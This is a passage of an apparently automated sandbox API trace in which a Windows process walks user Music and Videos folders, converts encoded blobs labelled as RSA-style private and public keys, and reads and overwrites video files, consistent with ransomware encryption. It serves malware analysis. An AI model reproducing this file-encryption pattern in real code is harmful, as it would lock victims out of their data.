out: hFindFile=0xa1b738) returned 1 [0164.165] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\VM_WvGMt7\\*.*", lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x439e0670, ftCreationTime.dwHighDateTime=0x1d5e464, ftLastAccessTime.dwLowDateTime=0x119971b0, ftLastAccessTime.dwHighDateTime=0x1d5e972, ftLastWriteTime.dwLowDateTime=0x119971b0, ftLastWriteTime.dwHighDateTime=0x1d5e972, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName=".", cAlternateFileName="")) returned 0xa1b7a8 [0164.165] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7fc | out: lpLocalFileTime=0x19f7fc) returned 1 [0164.165] FileTimeToDosDateTime (in: lpFileTime=0x19f7fc, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0164.165] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x439e0670, ftCreationTime.dwHighDateTime=0x1d5e464, ftLastAccessTime.dwLowDateTime=0x119971b0, ftLastAccessTime.dwHighDateTime=0x1d5e972, ftLastWriteTime.dwLowDateTime=0x119971b0, ftLastWriteTime.dwHighDateTime=0x1d5e972, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="..", cAlternateFileName="")) returned 1 [0164.165] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0164.165] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0164.165] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x439e0670, ftCreationTime.dwHighDateTime=0x1d5e464, ftLastAccessTime.dwLowDateTime=0x119971b0, ftLastAccessTime.dwHighDateTime=0x1d5e972, ftLastWriteTime.dwLowDateTime=0x119971b0, ftLastWriteTime.dwHighDateTime=0x1d5e972, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="..", cAlternateFileName="")) returned 0 [0164.165] GetLastError () returned 0x12 [0164.165] FindClose (in: hFindFile=0xa1b7a8 | out: hFindFile=0xa1b7a8) returned 1 [0164.165] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31b3400, ftCreationTime.dwHighDateTime=0x1d5ea2d, ftLastAccessTime.dwLowDateTime=0xc99261c0, ftLastAccessTime.dwHighDateTime=0x1d5e3e4, ftLastWriteTime.dwLowDateTime=0x88aa706e, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x3f36, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="z4jiZg.mp3.MZ173801", cAlternateFileName="Z4JIZG~1.MZ1")) returned 1 [0164.165] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0164.165] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0164.165] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31b3400, ftCreationTime.dwHighDateTime=0x1d5ea2d, ftLastAccessTime.dwLowDateTime=0xc99261c0, ftLastAccessTime.dwHighDateTime=0x1d5e3e4, ftLastWriteTime.dwLowDateTime=0x88aa706e, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x3f36, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="z4jiZg.mp3.MZ173801", cAlternateFileName="Z4JIZG~1.MZ1")) returned 0 [0164.165] GetLastError () returned 0x12 [0164.165] FindClose (in: hFindFile=0xa1b150 | out: hFindFile=0xa1b150) returned 1 [0164.165] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x19fbb0, csidl=14, fCreate=0 | out: pszPath="C:\\Users\\FD1HVy\\Videos") returned 1 [0164.166] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos" (normalized: "c:\\users\\fd1hvy\\videos")) returned 0x11 [0164.166] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x19fbb0, csidl=14, fCreate=0 | out: pszPath="C:\\Users\\FD1HVy\\Videos") returned 1 [0164.166] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\*.*", lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xe8dd6ff4, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe8dd6ff4, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xa1b150 [0164.166] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xe8dd6ff4, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe8dd6ff4, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0164.166] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x12cb9a0, ftCreationTime.dwHighDateTime=0x1d5e73c, ftLastAccessTime.dwLowDateTime=0xa15979d0, ftLastAccessTime.dwHighDateTime=0x1d5eeb3, ftLastWriteTime.dwLowDateTime=0xa15979d0, ftLastWriteTime.dwHighDateTime=0x1d5eeb3, nFileSizeHigh=0x0, nFileSizeLow=0xe379, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="1_2OVvk.avi", cAlternateFileName="")) returned 1 [0164.166] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac8 | out: lpLocalFileTime=0x19fac8) returned 1 [0164.167] FileTimeToDosDateTime (in: lpFileTime=0x19fac8, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0164.167] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\1_2OVvk.avi" (normalized: "c:\\users\\fd1hvy\\videos\\1_2ovvk.avi"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x12cb9a0, ftCreationTime.dwHighDateTime=0x1d5e73c, ftLastAccessTime.dwLowDateTime=0xa15979d0, ftLastAccessTime.dwHighDateTime=0x1d5eeb3, ftLastWriteTime.dwLowDateTime=0xa15979d0, ftLastWriteTime.dwHighDateTime=0x1d5eeb3, nFileSizeHigh=0x0, nFileSizeLow=0xe379)) returned 1 [0164.167] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\1_2OVvk.avi" (normalized: "c:\\users\\fd1hvy\\videos\\1_2ovvk.avi")) returned 0x20 [0164.167] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\1_2OVvk.avi", dwFileAttributes=0x80) returned 1 [0164.168] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0164.168] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x321061c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0164.169] GetCurrentThreadId () returned 0xab4 [0164.169] GetCurrentThreadId () returned 0xab4 [0164.169] GetCurrentThreadId () returned 0xab4 [0164.170] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0164.170] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x322167c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0164.170] GetCurrentThreadId () returned 0xab4 [0164.170] GetCurrentThreadId () returned 0xab4 [0164.170] GetCurrentThreadId () returned 0xab4 [0164.170] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\1_2OVvk.avi" (normalized: "c:\\users\\fd1hvy\\videos\\1_2ovvk.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x278 [0164.170] SetFilePointer (in: hFile=0x278, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0164.170] SetFilePointer (in: hFile=0x278, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0164.170] SetFilePointer (in: hFile=0x278, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0xe379 [0164.170] SetFilePointer (in: hFile=0x278, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0164.170] ReadFile (in: hFile=0x278, lpBuffer=0x24a0010, nNumberOfBytesToRead=0xe379, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x24a0010*, lpNumberOfBytesRead=0x19fa18*=0xe379, lpOverlapped=0x0) returned 1 [0164.172] CloseHandle (hObject=0x278) returned 1 [0164.173] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\1_2OVvk.avi" (normalized: "c:\\users\\fd1hvy\\videos\\1_2ovvk.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x278 [0164.174] WriteFile (in: hFile=0x278, lpBuffer=0x24b0040*, nNumberOfBytesToWrite=0xe379, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x24b0040*, lpNumberOfBytesWritten=0x19fa24*=0xe379, lpOverlapped=0x0) returned 1 [0164.176] CloseHandle (hObject=0x278) returned 1 [0164.178] MoveFileW 